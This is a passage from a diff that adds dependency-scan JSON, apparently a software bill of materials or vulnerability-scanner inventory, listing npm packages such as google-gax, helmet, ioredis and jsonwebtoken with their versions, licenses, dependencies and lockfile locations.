+ "PURL": "pkg:npm/google-gax@4.6.1",
+ "UID": "29a182ccad883dc8"
+ },
+ "Version": "4.6.1",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@grpc/grpc-js@1.14.3",
+ "@grpc/proto-loader@0.7.15",
+ "@types/long@4.0.2",
+ "abort-controller@3.0.0",
+ "duplexify@4.1.3",
+ "google-auth-library@9.15.1",
+ "node-fetch@2.7.0",
+ "object-hash@3.0.0",
+ "proto3-json-serializer@2.0.2",
+ "protobufjs@7.5.6",
+ "retry-request@7.0.2",
+ "uuid@9.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 5926,
+ "EndLine": 5949
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "google-logging-utils@0.0.2",
+ "Name": "google-logging-utils",
+ "Identifier": {
+ "PURL": "pkg:npm/google-logging-utils@0.0.2",
+ "UID": "da06fbf97e8a6255"
+ },
+ "Version": "0.0.2",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5965,
+ "EndLine": 5974
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "gopd@1.2.0",
+ "Name": "gopd",
+ "Identifier": {
+ "PURL": "pkg:npm/gopd@1.2.0",
+ "UID": "afa1640946568155"
+ },
+ "Version": "1.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5975,
+ "EndLine": 5986
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "graceful-fs@4.2.11",
+ "Name": "graceful-fs",
+ "Identifier": {
+ "PURL": "pkg:npm/graceful-fs@4.2.11",
+ "UID": "c744d91ea0ec3ae2"
+ },
+ "Version": "4.2.11",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 5987,
+ "EndLine": 5992
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "gtoken@7.1.0",
+ "Name": "gtoken",
+ "Identifier": {
+ "PURL": "pkg:npm/gtoken@7.1.0",
+ "UID": "483a9dc95cd754dd"
+ },
+ "Version": "7.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "gaxios@6.7.1",
+ "jws@4.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6000,
+ "EndLine": 6013
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "has-symbols@1.1.0",
+ "Name": "has-symbols",
+ "Identifier": {
+ "PURL": "pkg:npm/has-symbols@1.1.0",
+ "UID": "f0633add04ce3bf8"
+ },
+ "Version": "1.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6024,
+ "EndLine": 6035
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "has-tostringtag@1.0.2",
+ "Name": "has-tostringtag",
+ "Identifier": {
+ "PURL": "pkg:npm/has-tostringtag@1.0.2",
+ "UID": "7efc403825975bb8"
+ },
+ "Version": "1.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "has-symbols@1.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6036,
+ "EndLine": 6050
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "hasown@2.0.3",
+ "Name": "hasown",
+ "Identifier": {
+ "PURL": "pkg:npm/hasown@2.0.3",
+ "UID": "9aad2c33a0510e4e"
+ },
+ "Version": "2.0.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "function-bind@1.1.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6051,
+ "EndLine": 6062
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "helmet@7.2.0",
+ "Name": "helmet",
+ "Identifier": {
+ "PURL": "pkg:npm/helmet@7.2.0",
+ "UID": "dfe9b9361a06f01"
+ },
+ "Version": "7.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6063,
+ "EndLine": 6071
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "hsl-to-hex@1.0.0",
+ "Name": "hsl-to-hex",
+ "Identifier": {
+ "PURL": "pkg:npm/hsl-to-hex@1.0.0",
+ "UID": "56cea08d26d06246"
+ },
+ "Version": "1.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "hsl-to-rgb-for-reals@1.1.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6072,
+ "EndLine": 6080
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "hsl-to-rgb-for-reals@1.1.1",
+ "Name": "hsl-to-rgb-for-reals",
+ "Identifier": {
+ "PURL": "pkg:npm/hsl-to-rgb-for-reals@1.1.1",
+ "UID": "f831f44e97c7b9fc"
+ },
+ "Version": "1.1.1",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6081,
+ "EndLine": 6086
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "html-entities@2.6.0",
+ "Name": "html-entities",
+ "Identifier": {
+ "PURL": "pkg:npm/html-entities@2.6.0",
+ "UID": "c49627be72157663"
+ },
+ "Version": "2.6.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6087,
+ "EndLine": 6103
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "html-to-text@9.0.5",
+ "Name": "html-to-text",
+ "Identifier": {
+ "PURL": "pkg:npm/html-to-text@9.0.5",
+ "UID": "58e92ace26d2714a"
+ },
+ "Version": "9.0.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@selderee/plugin-htmlparser2@0.11.0",
+ "deepmerge@4.3.1",
+ "dom-serializer@2.0.0",
+ "htmlparser2@8.0.2",
+ "selderee@0.11.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6104,
+ "EndLine": 6119
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "htmlparser2@8.0.2",
+ "Name": "htmlparser2",
+ "Identifier": {
+ "PURL": "pkg:npm/htmlparser2@8.0.2",
+ "UID": "d9d36ee02c63b509"
+ },
+ "Version": "8.0.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "domelementtype@2.3.0",
+ "domhandler@5.0.3",
+ "domutils@3.2.2",
+ "entities@4.5.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6120,
+ "EndLine": 6138
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "http-errors@2.0.1",
+ "Name": "http-errors",
+ "Identifier": {
+ "PURL": "pkg:npm/http-errors@2.0.1",
+ "UID": "48163e8f1bb8abc6"
+ },
+ "Version": "2.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "depd@2.0.0",
+ "inherits@2.0.4",
+ "setprototypeof@1.2.0",
+ "statuses@2.0.2",
+ "toidentifier@1.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6139,
+ "EndLine": 6158
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "http-parser-js@0.5.10",
+ "Name": "http-parser-js",
+ "Identifier": {
+ "PURL": "pkg:npm/http-parser-js@0.5.10",
+ "UID": "2d16e6a32551842b"
+ },
+ "Version": "0.5.10",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6159,
+ "EndLine": 6164
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "http-proxy-agent@5.0.0",
+ "Name": "http-proxy-agent",
+ "Identifier": {
+ "PURL": "pkg:npm/http-proxy-agent@5.0.0",
+ "UID": "a735ac4ff6b38226"
+ },
+ "Version": "5.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@tootallnate/once@2.0.0",
+ "agent-base@6.0.2",
+ "debug@4.4.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6165,
+ "EndLine": 6179
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "https-proxy-agent@5.0.1",
+ "Name": "https-proxy-agent",
+ "Identifier": {
+ "PURL": "pkg:npm/https-proxy-agent@5.0.1",
+ "UID": "83c3d67d62a3fb4f"
+ },
+ "Version": "5.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "agent-base@6.0.2",
+ "debug@4.4.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 9610,
+ "EndLine": 9623
+ },
+ {
+ "StartLine": 10076,
+ "EndLine": 10088
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "https-proxy-agent@7.0.6",
+ "Name": "https-proxy-agent",
+ "Identifier": {
+ "PURL": "pkg:npm/https-proxy-agent@7.0.6",
+ "UID": "79cff2666fa44b26"
+ },
+ "Version": "7.0.6",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "agent-base@7.1.4",
+ "debug@4.4.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6193,
+ "EndLine": 6206
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "hyphen@1.14.1",
+ "Name": "hyphen",
+ "Identifier": {
+ "PURL": "pkg:npm/hyphen@1.14.1",
+ "UID": "2be5a90c51564a92"
+ },
+ "Version": "1.14.1",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6217,
+ "EndLine": 6222
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "iconv-lite@0.4.24",
+ "Name": "iconv-lite",
+ "Identifier": {
+ "PURL": "pkg:npm/iconv-lite@0.4.24",
+ "UID": "a6968b91d307f59c"
+ },
+ "Version": "0.4.24",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "safer-buffer@2.1.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6223,
+ "EndLine": 6234
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "inherits@2.0.4",
+ "Name": "inherits",
+ "Identifier": {
+ "PURL": "pkg:npm/inherits@2.0.4",
+ "UID": "79eb7bdd9b9dfeb7"
+ },
+ "Version": "2.0.4",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6284,
+ "EndLine": 6289
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "ini@1.3.8",
+ "Name": "ini",
+ "Identifier": {
+ "PURL": "pkg:npm/ini@1.3.8",
+ "UID": "f4d0fc9346dae180"
+ },
+ "Version": "1.3.8",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6290,
+ "EndLine": 6295
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "internmap@2.0.3",
+ "Name": "internmap",
+ "Identifier": {
+ "PURL": "pkg:npm/internmap@2.0.3",
+ "UID": "64863a955a014671"
+ },
+ "Version": "2.0.3",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6296,
+ "EndLine": 6304
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "ioredis@5.10.1",
+ "Name": "ioredis",
+ "Identifier": {
+ "PURL": "pkg:npm/ioredis@5.10.1",
+ "UID": "4f1f102a9d8b8018"
+ },
+ "Version": "5.10.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@ioredis/commands@1.5.1",
+ "cluster-key-slot@1.1.2",
+ "debug@4.4.3",
+ "denque@2.1.0",
+ "lodash.defaults@4.2.0",
+ "lodash.isarguments@3.1.0",
+ "redis-errors@1.2.0",
+ "redis-parser@3.0.0",
+ "standard-as-callback@2.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6305,
+ "EndLine": 6328
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "ip-address@10.2.0",
+ "Name": "ip-address",
+ "Identifier": {
+ "PURL": "pkg:npm/ip-address@10.2.0",
+ "UID": "66717741f24fe827"
+ },
+ "Version": "10.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6329,
+ "EndLine": 6337
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "ipaddr.js@1.9.1",
+ "Name": "ipaddr.js",
+ "Identifier": {
+ "PURL": "pkg:npm/ipaddr.js@1.9.1",
+ "UID": "779e883ef9496eee"
+ },
+ "Version": "1.9.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6338,
+ "EndLine": 6346
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "is-arrayish@0.3.4",
+ "Name": "is-arrayish",
+ "Identifier": {
+ "PURL": "pkg:npm/is-arrayish@0.3.4",
+ "UID": "d9a544e0396dedad"
+ },
+ "Version": "0.3.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6347,
+ "EndLine": 6352
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "is-binary-path@2.1.0",
+ "Name": "is-binary-path",
+ "Identifier": {
+ "PURL": "pkg:npm/is-binary-path@2.1.0",
+ "UID": "2c0048e8715af263"
+ },
+ "Version": "2.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "binary-extensions@2.3.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6353,
+ "EndLine": 6364
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "is-core-module@2.16.1",
+ "Name": "is-core-module",
+ "Identifier": {
+ "PURL": "pkg:npm/is-core-module@2.16.1",
+ "UID": "13bb3357056008a1"
+ },
+ "Version": "2.16.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "hasown@2.0.3"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6365,
+ "EndLine": 6379
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "is-extglob@2.1.1",
+ "Name": "is-extglob",
+ "Identifier": {
+ "PURL": "pkg:npm/is-extglob@2.1.1",
+ "UID": "5ea459587a844130"
+ },
+ "Version": "2.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6380,
+ "EndLine": 6388
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "is-fullwidth-code-point@3.0.0",
+ "Name": "is-fullwidth-code-point",
+ "Identifier": {
+ "PURL": "pkg:npm/is-fullwidth-code-point@3.0.0",
+ "UID": "f0fa161d65c0141c"
+ },
+ "Version": "3.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6389,
+ "EndLine": 6397
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "is-glob@4.0.3",
+ "Name": "is-glob",
+ "Identifier": {
+ "PURL": "pkg:npm/is-glob@4.0.3",
+ "UID": "fde339afa12d455b"
+ },
+ "Version": "4.0.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "is-extglob@2.1.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6398,
+ "EndLine": 6409
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "is-number@7.0.0",
+ "Name": "is-number",
+ "Identifier": {
+ "PURL": "pkg:npm/is-number@7.0.0",
+ "UID": "3b3c68d39f80f601"
+ },
+ "Version": "7.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6410,
+ "EndLine": 6418
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "is-stream@2.0.1",
+ "Name": "is-stream",
+ "Identifier": {
+ "PURL": "pkg:npm/is-stream@2.0.1",
+ "UID": "f8444377bd647d5"
+ },
+ "Version": "2.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6429,
+ "EndLine": 6441
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "is-url@1.2.4",
+ "Name": "is-url",
+ "Identifier": {
+ "PURL": "pkg:npm/is-url@1.2.4",
+ "UID": "48e934f6b5ab2555"
+ },
+ "Version": "1.2.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6442,
+ "EndLine": 6447
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "isarray@1.0.0",
+ "Name": "isarray",
+ "Identifier": {
+ "PURL": "pkg:npm/isarray@1.0.0",
+ "UID": "3002ab3f4988ee69"
+ },
+ "Version": "1.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6448,
+ "EndLine": 6453
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "isexe@2.0.0",
+ "Name": "isexe",
+ "Identifier": {
+ "PURL": "pkg:npm/isexe@2.0.0",
+ "UID": "7651873017c515d8"
+ },
+ "Version": "2.0.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6454,
+ "EndLine": 6459
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "jackspeak@3.4.3",
+ "Name": "jackspeak",
+ "Identifier": {
+ "PURL": "pkg:npm/jackspeak@3.4.3",
+ "UID": "fc138374f1806963"
+ },
+ "Version": "3.4.3",
+ "Licenses": [
+ "BlueOak-1.0.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@isaacs/cliui@8.0.2",
+ "@pkgjs/parseargs@0.11.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6460,
+ "EndLine": 6474
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "jay-peg@1.1.1",
+ "Name": "jay-peg",
+ "Identifier": {
+ "PURL": "pkg:npm/jay-peg@1.1.1",
+ "UID": "cf18d1fcdcee5e2d"
+ },
+ "Version": "1.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "restructure@3.0.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6475,
+ "EndLine": 6483
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "jiti@1.21.7",
+ "Name": "jiti",
+ "Identifier": {
+ "PURL": "pkg:npm/jiti@1.21.7",
+ "UID": "1da1e31b77e9a9d8"
+ },
+ "Version": "1.21.7",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6484,
+ "EndLine": 6492
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "jose@4.15.9",
+ "Name": "jose",
+ "Identifier": {
+ "PURL": "pkg:npm/jose@4.15.9",
+ "UID": "3a44e42c6b5759b8"
+ },
+ "Version": "4.15.9",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6493,
+ "EndLine": 6501
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "js-beautify@1.15.4",
+ "Name": "js-beautify",
+ "Identifier": {
+ "PURL": "pkg:npm/js-beautify@1.15.4",
+ "UID": "bac82ea80bd4c282"
+ },
+ "Version": "1.15.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "config-chain@1.1.13",
+ "editorconfig@1.0.7",
+ "glob@10.5.0",
+ "js-cookie@3.0.5",
+ "nopt@7.2.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6502,
+ "EndLine": 6522
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "js-cookie@3.0.5",
+ "Name": "js-cookie",
+ "Identifier": {
+ "PURL": "pkg:npm/js-cookie@3.0.5",
+ "UID": "5d41bd0ebbab8dd6"
+ },
+ "Version": "3.0.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6568,
+ "EndLine": 6576
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "js-md5@0.8.3",
+ "Name": "js-md5",
+ "Identifier": {
+ "PURL": "pkg:npm/js-md5@0.8.3",
+ "UID": "2a0f2c2c29b3cfc3"
+ },
+ "Version": "0.8.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6577,
+ "EndLine": 6582
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "js-tokens@4.0.0",
+ "Name": "js-tokens",
+ "Identifier": {
+ "PURL": "pkg:npm/js-tokens@4.0.0",
+ "UID": "58659241903bf6fb"
+ },
+ "Version": "4.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6583,
+ "EndLine": 6588
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "json-bigint@1.0.0",
+ "Name": "json-bigint",
+ "Identifier": {
+ "PURL": "pkg:npm/json-bigint@1.0.0",
+ "UID": "1aaee1f907200ba9"
+ },
+ "Version": "1.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "bignumber.js@9.3.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6602,
+ "EndLine": 6611
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "jsonwebtoken@9.0.3",
+ "Name": "jsonwebtoken",
+ "Identifier": {
+ "PURL": "pkg:npm/jsonwebtoken@9.0.3",
+ "UID": "44724b2e3b20bc14"
+ },
+ "Version": "9.0.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "jws@4.0.1",
+ "lodash.includes@4.3.0",
+ "lodash.isboolean@3.0.3",
+ "lodash.isinteger@4.0.4",
+ "lodash.isnumber@3.0.3",
+ "lodash.isplainobject@4.0.6",
+ "lodash.isstring@4.0.1",
+ "lodash.once@4.1.1",
+ "ms@2.1.3",
+ "semver@7.7.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6633,
+ "EndLine": 6654
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "jwa@2.0.1",
+ "Name": "jwa",
+ "Identifier": {
+ "PURL": "pkg:npm/jwa@2.0.1",
+ "UID": "d39d5a86964d241f"
+ },
+ "Version": "2.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "buffer-equal-constant-time@1.0.1",
+ "ecdsa-sig-formatter@1.0.11",
+ "safe-buffer@5.2.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6655,
+ "EndLine": 6665
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "jwks-rsa@3.2.2",
+ "Name": "jwks-rsa",
+ "Identifier": {
+ "PURL": "pkg:npm/jwks-rsa@3.2.2",
+ "UID": "c2cd72e435f92f00"
+ },
+ "Version": "3.2.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@types/jsonwebtoken@9.0.10",
+ "debug@4.4.3",
+ "jose@4.15.9",
+ "limiter@1.1.5",
+ "lru-memoizer@2.3.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6666,
+ "EndLine": 6681
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "jws@4.0.1",
+ "Name": "jws",
+ "Identifier": {
+ "PURL": "pkg:npm/jws@4.0.1",
+ "UID": "c51a6390a687c195"
+ },
+ "Version": "4.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "jwa@2.0.1",
+ "safe-buffer@5.2.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6682,
+ "EndLine": 6691
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "leac@0.6.0",
+ "Name": "leac",
+ "Identifier": {
+ "PURL": "pkg:npm/leac@0.6.0",
+ "UID": "2c0aceb28c2204de"
+ },
+ "Version": "0.6.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6702,
+ "EndLine": 6710
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lilconfig@3.1.3",
+ "Name": "lilconfig",
+ "Identifier": {
+ "PURL": "pkg:npm/lilconfig@3.1.3",
+ "UID": "6014129744f20f69"
+ },
+ "Version": "3.1.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6725,
+ "EndLine": 6736
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "limiter@1.1.5",
+ "Name": "limiter",
+ "Identifier": {
+ "PURL": "pkg:npm/limiter@1.1.5",
+ "UID": "58d645ec733b8d24"
+ },
+ "Version": "1.1.5",
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6737,
+ "EndLine": 6741
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "linebreak@1.1.0",
+ "Name": "linebreak",
+ "Identifier": {
+ "PURL": "pkg:npm/linebreak@1.1.0",
+ "UID": "3282c73f2cc14b7b"
+ },
+ "Version": "1.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "base64-js@0.0.8",
+ "unicode-trie@2.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6742,
+ "EndLine": 6751
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lines-and-columns@1.2.4",
+ "Name": "lines-and-columns",
+ "Identifier": {
+ "PURL": "pkg:npm/lines-and-columns@1.2.4",
+ "UID": "3c51cf42a57e27f2"
+ },
+ "Version": "1.2.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6761,
+ "EndLine": 6766
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "locate-path@5.0.0",
+ "Name": "locate-path",
+ "Identifier": {
+ "PURL": "pkg:npm/locate-path@5.0.0",
+ "UID": "f3537cb7b16eba07"
+ },
+ "Version": "5.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "p-locate@4.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8215,
+ "EndLine": 8226
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lodash@4.18.1",
+ "Name": "lodash",
+ "Identifier": {
+ "PURL": "pkg:npm/lodash@4.18.1",
+ "UID": "d9e335047081399"
+ },
+ "Version": "4.18.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
